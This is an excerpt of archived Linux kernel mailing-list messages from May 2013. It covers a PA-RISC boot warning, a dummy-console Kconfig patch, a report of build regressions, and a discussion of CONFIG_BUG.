[    3.176000] WARNING: at kernel/cpu/idle.c:98
[    3.176000] Modules linked in:
[    3.176000] CPU: 0 PID: 0 Comm: swapper Not tainted 3.10.0-rc3 #30
[    3.176000] task: 00000000405ff580 ti: 000000004057e000 task.ti: 000000004057e000

[    3.184000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[    3.184000] PSW: 00001000000001001110100100001110 Not tainted
[    3.192000] r00-03  000000ff0804e90e 00000000406b8210 0000000040174ecc 000000004057e350
[    3.192000] r04-07  00000000406a9210 000000004057e3d0 0000000000000001 00000000405ded3e
[    3.200000] r08-11  0000000000000001 0000000040597c2c 000000000804000e 000000004011407c
[    3.204000] r12-15  0000000000000013 0000000000000000 00000000000130e4 0000000000000000
[    3.204000] r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
[    3.212000] r20-23  0000000000000000 0000000000000002 00000000000000d7 0000000000000001
[    3.220000] r24-27  0000000000000001 000000004057e000 0000000000000000 00000000406a9210
[    3.220000] r28-31  0000000000000000 000000004057e3d0 000000004057e400 0000000000000001
[    3.228000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    3.236000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

[    3.244000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040174f9c 0000000040174fa0
[    3.244000]  IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
[    3.248000]  CPU:        0   CR30: 000000004057e000 CR31: fffffff0f0e05ee0
[    3.248000]  ORIG_R28: 000000004016bb90
[    3.260000]  IAOQ[0]: cpu_idle_loop+0x15c/0x170
[    3.260000]  IAOQ[1]: cpu_idle_loop+0x160/0x170
[    3.260000]  RP(r2): cpu_idle_loop+0x8c/0x170
[    3.264000] Backtrace:
[    3.268000]  [<0000000040174ff8>] cpu_startup_entry+0x48/0x50
[    3.268000]  [<000000004010bc40>] rest_init+0xf0/0x108
[    3.276000]  [<00000000406ccd50>] start_kernel+0x550/0x578
[    3.276000]  [<0000000040497560>] packet_ioctl+0x1a0/0x238
[    3.276000]  [<000000004047a540>] ip_mroute_getsockopt+0x88/0x138
[    3.284000]  [<0000000040457fbc>] udp_ioctl+0xcc/0xd8
[    3.284000]  [<0000000040455880>] udp_lib_getsockopt+0x30/0x130
[    3.288000]  [<0000000040452c18>] raw_probe_proto_opt+0x118/0x130

[    3.288000] ---[ end trace c7ab5f13fa5da8f2 ]---

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: [PATCH] console/dummy: Move screen size selection from CPP to Kconfig
Date: Mon, 27 May 2013 10:36:16 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <1369643776-20516-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1369643802 15287 80.91.229.3 (27 May 2013 08:36:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 May 2013 08:36:42 +0000 (UTC)
Cc: linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>
To: linux-fbdev@vger.kernel.org, linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 27 10:36:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ugsv1-0000bo-Fi
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 May 2013 10:36:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757212Ab3E0Igi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 May 2013 04:36:38 -0400
Original-Received: from jacques.telenet-ops.be ([195.130.132.50]:40558 "EHLO
	jacques.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757124Ab3E0Igh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 May 2013 04:36:37 -0400
Original-Received: from ayla.of.borg ([84.193.72.141])
	by jacques.telenet-ops.be with bizsmtp
	id gwcZ1l01532ts5g0JwcZ4K; Mon, 27 May 2013 10:36:35 +0200
Original-Received: from geert by ayla.of.borg with local (Exim 4.71)
	(envelope-from <geert@linux-m68k.org>)
	id 1Ugsuu-00068g-7h; Mon, 27 May 2013 10:36:33 +0200
X-Mailer: git-send-email 1.7.0.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5082 gmane.linux.kernel:1497069 gmane.linux.ports.arm.kernel:239139
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5082>

PA-RISC already handled the dummy console screen size selection in Kconfig,
so generalize this to other platforms.

ARM keeps on using screen_info, which is filled in by platform-specific
code, or from ATAGS.

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
 drivers/video/console/Kconfig    |   16 ++++++++++------
 drivers/video/console/dummycon.c |    5 +----
 2 files changed, 11 insertions(+), 10 deletions(-)

diff --git a/drivers/video/console/Kconfig b/drivers/video/console/Kconfig
index 8af6ad3..7bfe7e1 100644
--- a/drivers/video/console/Kconfig
+++ b/drivers/video/console/Kconfig
@@ -76,18 +76,22 @@ config DUMMY_CONSOLE
 
 config DUMMY_CONSOLE_COLUMNS
         int "Initial number of console screen columns"
-        depends on PARISC && DUMMY_CONSOLE
-        default "160"
+        depends on DUMMY_CONSOLE && !ARM
+        default 160 if PARISC
+        default 80
         help
-          The default value is 160, which should fit a 1280x1024 monitor.
+          On PA-RISC, the default value is 160, which should fit a 1280x1024
+          monitor.
           Select 80 if you use a 640x480 resolution by default.
 
 config DUMMY_CONSOLE_ROWS
         int "Initial number of console screen rows"
-        depends on PARISC && DUMMY_CONSOLE
-        default "64"
+        depends on DUMMY_CONSOLE && !ARM
+        default 64 if PARISC
+        default 25
         help
-          The default value is 64, which should fit a 1280x1024 monitor.
+          On PA-RISC, the default value is 64, which should fit a 1280x1024
+          monitor.
           Select 25 if you use a 640x480 resolution by default.
 
 config FRAMEBUFFER_CONSOLE
diff --git a/drivers/video/console/dummycon.c b/drivers/video/console/dummycon.c
index b63860f..6b1a5d1 100644
--- a/drivers/video/console/dummycon.c
+++ b/drivers/video/console/dummycon.c
@@ -20,13 +20,10 @@
 #if defined(__arm__)
 #define DUMMY_COLUMNS	screen_info.orig_video_cols
 #define DUMMY_ROWS	screen_info.orig_video_lines
-#elif defined(__hppa__)
+#else
 /* set by Kconfig. Use 80x25 for 640x480 and 160x64 for 1280x1024 */
 #define DUMMY_COLUMNS	CONFIG_DUMMY_CONSOLE_COLUMNS
 #define DUMMY_ROWS	CONFIG_DUMMY_CONSOLE_ROWS
-#else
-#define DUMMY_COLUMNS	80
-#define DUMMY_ROWS	25
 #endif
 
 static const char *dummycon_startup(void)
-- 
1.7.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc boot crash on 3.10-rc1+git
Date: Mon, 27 May 2013 21:20:50 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <51A3B212.8010908@gmx.de>
References: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee> <51929EAB.3020503@gmx.de> <alpine.SOC.1.00.1305150957460.29631@math.ut.ee> <5193D0F5.4060706@gmx.de> <51968FFB.6040707@gmx.de> <alpine.SOC.1.00.1305271012160.1179@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369682460 4461 80.91.229.3 (27 May 2013 19:21:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 May 2013 19:21:00 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Meelis Roos <mroos@linux.ee>, Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 27 21:20:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uh2yX-0003QN-5M
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 May 2013 21:20:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756743Ab3E0TU4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 May 2013 15:20:56 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:52878 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756579Ab3E0TUz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 May 2013 15:20:55 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.24]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MgJ3I-1V3eKJ0vYs-00NePB for
 <linux-parisc@vger.kernel.org>; Mon, 27 May 2013 21:20:53 +0200
Original-Received: (qmail invoked by alias); 27 May 2013 19:20:52 -0000
Original-Received: from p54AD0F89.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.15.137]
  by mail.gmx.net (mp024) with SMTP; 27 May 2013 21:20:52 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19LItcmA8BLikP1+ZT0NeA80WWRiaVyBiQ9Pbi5yC
	ykuXkjNlpcWcZ6
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.10
In-Reply-To: <alpine.SOC.1.00.1305271012160.1179@math.ut.ee>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5083
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5083>

On 05/27/2013 09:15 AM, Meelis Roos wrote:
> I saw that 3.10-rc3 is out with a new bunch of parisc fixes. Tried it on
> my RP3440 and it works - thank you!
Thanks. Great!

> Only one new minor problem has appeared: a warning from cpu_idle during
> bootup. Seems harmless but not good. It does not reappear under load -
> I did Gentoo upgrade with
> emerge --sync&&  emerge -u -N world&&  emerge --depclean
> and no further problems.

That's a known problem.
Patch from James Bottomley is here:
https://patchwork.kernel.org/patch/2541701/

@Thomas, it would be great if you could comment on that patch....

Another known problem is, that the sti framebuffer driver currently does 
not work, which means you won't get a graphical login screen....

Helge
> [    3.132000] sym0:<1010-66>  rev 0x1 at pci 0000:20:01.0 irq 21
> [    3.136000] sym0: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
> [    3.168000] sym0: SCSI BUS has been reset.
> [    3.176000] scsi0 : sym-2.2.3
> [    3.176000] ------------[ cut here ]------------
> [    3.176000] WARNING: at kernel/cpu/idle.c:98
> [    3.176000] Modules linked in:
> [    3.176000] CPU: 0 PID: 0 Comm: swapper Not tainted 3.10.0-rc3 #30
> [    3.176000] task: 00000000405ff580 ti: 000000004057e000 task.ti: 000000004057e000
>
> [    3.184000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [    3.184000] PSW: 00001000000001001110100100001110 Not tainted
> [    3.192000] r00-03  000000ff0804e90e 00000000406b8210 0000000040174ecc 000000004057e350
> [    3.192000] r04-07  00000000406a9210 000000004057e3d0 0000000000000001 00000000405ded3e
> [    3.200000] r08-11  0000000000000001 0000000040597c2c 000000000804000e 000000004011407c
> [    3.204000] r12-15  0000000000000013 0000000000000000 00000000000130e4 0000000000000000
> [    3.204000] r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
> [    3.212000] r20-23  0000000000000000 0000000000000002 00000000000000d7 0000000000000001
> [    3.220000] r24-27  0000000000000001 000000004057e000 0000000000000000 00000000406a9210
> [    3.220000] r28-31  0000000000000000 000000004057e3d0 000000004057e400 0000000000000001
> [    3.228000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> [    3.236000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
>
> [    3.244000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040174f9c 0000000040174fa0
> [    3.244000]  IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
> [    3.248000]  CPU:        0   CR30: 000000004057e000 CR31: fffffff0f0e05ee0
> [    3.248000]  ORIG_R28: 000000004016bb90
> [    3.260000]  IAOQ[0]: cpu_idle_loop+0x15c/0x170
> [    3.260000]  IAOQ[1]: cpu_idle_loop+0x160/0x170
> [    3.260000]  RP(r2): cpu_idle_loop+0x8c/0x170
> [    3.264000] Backtrace:
> [    3.268000]  [<0000000040174ff8>] cpu_startup_entry+0x48/0x50
> [    3.268000]  [<000000004010bc40>] rest_init+0xf0/0x108
> [    3.276000]  [<00000000406ccd50>] start_kernel+0x550/0x578
> [    3.276000]  [<0000000040497560>] packet_ioctl+0x1a0/0x238
> [    3.276000]  [<000000004047a540>] ip_mroute_getsockopt+0x88/0x138
> [    3.284000]  [<0000000040457fbc>] udp_ioctl+0xcc/0xd8
> [    3.284000]  [<0000000040455880>] udp_lib_getsockopt+0x30/0x130
> [    3.288000]  [<0000000040452c18>] raw_probe_proto_opt+0x118/0x130
>
> [    3.288000] ---[ end trace c7ab5f13fa5da8f2 ]---

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Build regressions/improvements in v3.10-rc3
Date: Tue, 28 May 2013 09:16:30 +0200 (CEST)
Lines: 37
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1305280909260.29186@ayla.of.borg>
References: <alpine.DEB.2.00.1305280908430.28098@ayla.of.borg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1369725412 350 80.91.229.3 (28 May 2013 07:16:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 May 2013 07:16:52 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, devel@driverdev.osuosl.org,
	linux-s390@vger.kernel.org
To: Linux Kernel Development <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 28 09:16:51 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1UhE9K-0006Qi-6v
	for glk-linux-kernel-3@plane.gmane.org; Tue, 28 May 2013 09:16:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933262Ab3E1HQh (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 28 May 2013 03:16:37 -0400
Original-Received: from juliette.telenet-ops.be ([195.130.137.74]:44364 "EHLO
	juliette.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933235Ab3E1HQf (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 28 May 2013 03:16:35 -0400
Original-Received: from ayla.of.borg ([84.193.72.141])
	by juliette.telenet-ops.be with bizsmtp
	id hKGX1l00h32ts5g06KGXM9; Tue, 28 May 2013 09:16:33 +0200
Original-Received: from geert (helo=localhost)
	by ayla.of.borg with local-esmtp (Exim 4.71)
	(envelope-from <geert@linux-m68k.org>)
	id 1UhE91-0002az-5l; Tue, 28 May 2013 09:16:31 +0200
In-Reply-To: <alpine.DEB.2.00.1305280908430.28098@ayla.of.borg>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1497538 gmane.linux.ports.parisc:5084
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1497538>

On Tue, 28 May 2013, Geert Uytterhoeven wrote:
> JFYI, when comparing v3.10-rc3 to v3.10-rc2[3], the summaries are:
>   - build errors: +15/-10

Ignoring the PPC64 relocation truncations in powerpc-allyesconfig:

  + error: "__sync_fetch_and_and_4" [drivers/staging/line6/line6usb.ko] undefined!:  => N/A
  + error: "__sync_fetch_and_or_4" [drivers/staging/line6/line6usb.ko] undefined!:  => N/A

parisc-allmodconfig

  + error: "devm_request_threaded_irq" [drivers/i2c/busses/i2c-designware-pci.ko] undefined!:  => N/A
  + error: "devm_request_threaded_irq" [drivers/input/touchscreen/st1232.ko] undefined!:  => N/A
  + error: "devm_request_threaded_irq" [drivers/mfd/si476x-core.ko] undefined!:  => N/A
  + error: "devm_request_threaded_irq" [drivers/net/ethernet/marvell/mvmdio.ko] undefined!:  => N/A
  + error: "devm_request_threaded_irq" [drivers/staging/dwc2/dwc2.ko] undefined!:  => N/A
  + error: "irq_create_mapping" [drivers/mfd/mfd-core.ko] undefined!:  => N/A
  
s390-allmodconfig, s390-allyesconfig

Related warning for the last one:

warning: (ARM_GIC && ARM_VIC && RENESAS_INTC_IRQPIN && RENESAS_IRQC && VERSATILE_FPGA_IRQ && REGMAP && GPIO_LYNXPOINT && GPIO_GRGPIO && GPIO_PCF857X && GPIO_LANGWELL && MFD_CORE && MFD_MAX77686 && MFD_MAX8997 && AB8500_CORE && MFD_LP8788 && MFD_TPS65910 && TWL4030_CORE && MFD_WM831X_I2C && MFD_WM831X_SPI && EXTCON_MAX77693) selects IRQ_DOMAIN which has unmet direct dependencies (HAVE_GENERIC_HARDIRQS)

> [1] http://kisskb.ellerman.id.au/kisskb/head/6268/ (all 120 configs)
> [3] http://kisskb.ellerman.id.au/kisskb/head/6246/ (all 120 configs)

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds

From - Thu Nov 08 21:09:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@kernel.org>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon
Subject: Re: [PATCH] arch: configuration, deleting 'CONFIG_BUG' since always
 need it.
Date: Tue, 28 May 2013 10:19:10 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <20130528081910.GA29557@gmail.com>
References: <519DCBEF.3090208@asianux.com>
 <20130523090534.GJ18614@n2100.arm.linux.org.uk>
 <CAMuHMdWez-j1Maa3BD7ucmzv0_zFJnChERQiHFmkCaZUzG0_AA@mail.gmail.com>
 <201305231139.38233.arnd@arndb.de>
 <20130523100409.GK18614@n2100.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369729191 6081 80.91.229.3 (28 May 2013 08:19:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 May 2013 08:19:51 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>, Chen Gang <gang.chen@asianux.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 uml-devel <user-mode-linux-devel@lists.sourceforge.net>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 H?vard Skinnemoen <hskinnemoen@gmail.com>,
 Serge Hallyn <se
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Tue May 28 10:19:46 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1UhF8D-0006w5-0k
	for glppe-linuxppc-embedded-2@m.gmane.org; Tue, 28 May 2013 10:19:45 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id C284F2C03FC
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Tue, 28 May 2013 18:19:43 +1000 (EST)
Original-Received: from mail-wg0-x22c.google.com (mail-wg0-x22c.google.com
 [IPv6:2a00:1450:400c:c00::22c])
 (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits))
 (Client CN "smtp.gmail.com", Issuer "Google Internet Authority" (not verified))
 by ozlabs.org (Postfix) with ESMTPS id AAC5C2C02FF
 for <linuxppc-dev@lists.ozlabs.org>; Tue, 28 May 2013 18:19:19 +1000 (EST)
Original-Received: by mail-wg0-f44.google.com with SMTP id a12so5166767wgh.35
 for <linuxppc-dev@lists.ozlabs.org>; Tue, 28 May 2013 01:19:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=sender:date:from:to:cc:subject:message-id:references:mime-version
 :content-type:content-disposition:in-reply-to:user-agent;
 bh=J5MkUJWSQg/NFFikZq75PF1+q/BC973HP48T8i94XAE=;
 b=riKS1phTM6JKIkVhHYzTrVZQSEmPXyRU3wvr+SbFfBb13nDy5RisEgLAn3LpPxSeqa
 BnyJAP1DR2F89Yif1XZIBxtP5RNMYf8QBaS+KBiEk/FM4GIi8qGac+uN/5WRE7juCVTE
 HL6Zqdl46xUzuXToAzNlieR6qXM0NQNQ2YFVL7W/jm17nD2iJCUlfXj6K7/wRFMjP207
 qDjmwLLQrpkq66+hXvg5Saa/yI3zrCBHKjVKiKyWaB+/F+WIlPqem8ejY9gKpTHtwNsA
 VmGkfSKhT09EW+EtGHf14A4oTy55S12EAwqo/WHW4IEqnn6f0n+OFtnGleMLnWuHyVpV
 feMw==
X-Received: by 10.194.134.161 with SMTP id pl1mr11513288wjb.31.1369729154421; 
 Tue, 28 May 2013 01:19:14 -0700 (PDT)
Original-Received: from gmail.com (2E6BC28D.catv.pool.telekom.hu. [46.107.194.141])
 by mx.google.com with ESMTPSA id fu14sm22658123wic.0.2013.05.28.01.19.11
 for <multiple recipients>
 (version=TLSv1 cipher=RC4-SHA bits=128/128);
 Tue, 28 May 2013 01:19:13 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20130523100409.GK18614@n2100.arm.linux.org.uk>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:59605 gmane.linux.ports.sh.devel:23363 gmane.linux.kernel.cross-arch:18131 gmane.linux.uml.devel:13945 gmane.linux.uml.user:14496 gmane.linux.hardware.blackfin.kernel.devel:7116 gmane.linux.ports.arm.kernel:239444 gmane.linux.ports.parisc:5085 gmane.linux.kernel:1497567 gmane.linux.ports.hexagon:597
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/59605>


* Russell King - ARM Linux <linux@arm.linux.org.uk> wrote:

> So, if you want to use this, then you should update the CONFIG_BUG text 
> to include a warning to this effect:
> 
>      Warning: if CONFIG_BUG is turned off, and control flow reaches
>      a BUG(), the system behaviour will be undefined.
> 
> so that people can make an informed choice about this, because at the
> moment:
> 
>           Disabling this option eliminates support for BUG and WARN, reducing
>           the size of your kernel image and potentially quietly ignoring
>           numerous fatal conditions. You should only consider disabling this
>           option for embedded systems with no facilities for reporting errors.
>           Just say Y.
> 
> will become completely misleading.  Turning this option off will _not_ 
> result in "quietly ignoring numerous fatal conditions".

I'm fine with adding your text as a clarification - but I think 'quietly 
ignoring fatal conditions' very much implies an undefined outcome if that 
unexpected condition does occur: the code might crash, it might corrupt 
memory or it might do some other unexpected thing.

There are many other places that do a BUG_ON() of a NULL pointer or so, or 
of a zero refcount, or a not held lock - and turning the BUG_ON() off 
makes the code unpredictable _anyway_ - even if the compiler does not 
notice an uninitialized variable.

So pretty much any weakening of BUG_ON() _will_ make the kernel more 
unpredictable.

> And I come back to one of my previous arguments - is it not better to 
> panic() if we hit one of these conditions so that the system can try to 
> do a panic-reboot rather than continue blindly into the unknown?

It will often continue blindly into the unknown even if the compiler is 
happy ...

The only difference is that it's "unpredictable" in a way not visible from 
the C code: the code won't necessarily fall through the BUG() when hitting 
that condition - although in practice it probably will.

So I think the same principle applies to it as to any other debugging 
code: it's fine to be able to turn debugging off. It's a performance 
versus kernel robustness/determinism trade-off.

Thanks,

	Ingo

From - Thu Nov 08 21:09:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon
Subject: Re: [PATCH] arch: configuration, deleting 'CONFIG_BUG' since always
 need it.
Date: Tue, 28 May 2013 18:25:44 +0800
Lines: 64
Approved: news@gmane.org
Message-ID: <51A48628.9030105@asianux.com>
References: <519DCBEF.3090208@asianux.com>
 <20130523090534.GJ18614@n2100.arm.linux.org.uk>
 <CAMuHMdWez-j1Maa3BD7ucmzv0_zFJnChERQiHFmkCaZUzG0_AA@mail.gmail.com>
 <201305231139.38233.arnd@arndb.de>
 <20130523100409.GK18614@n2100.arm.linux.org.uk>
 <20130528081910.GA29557@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
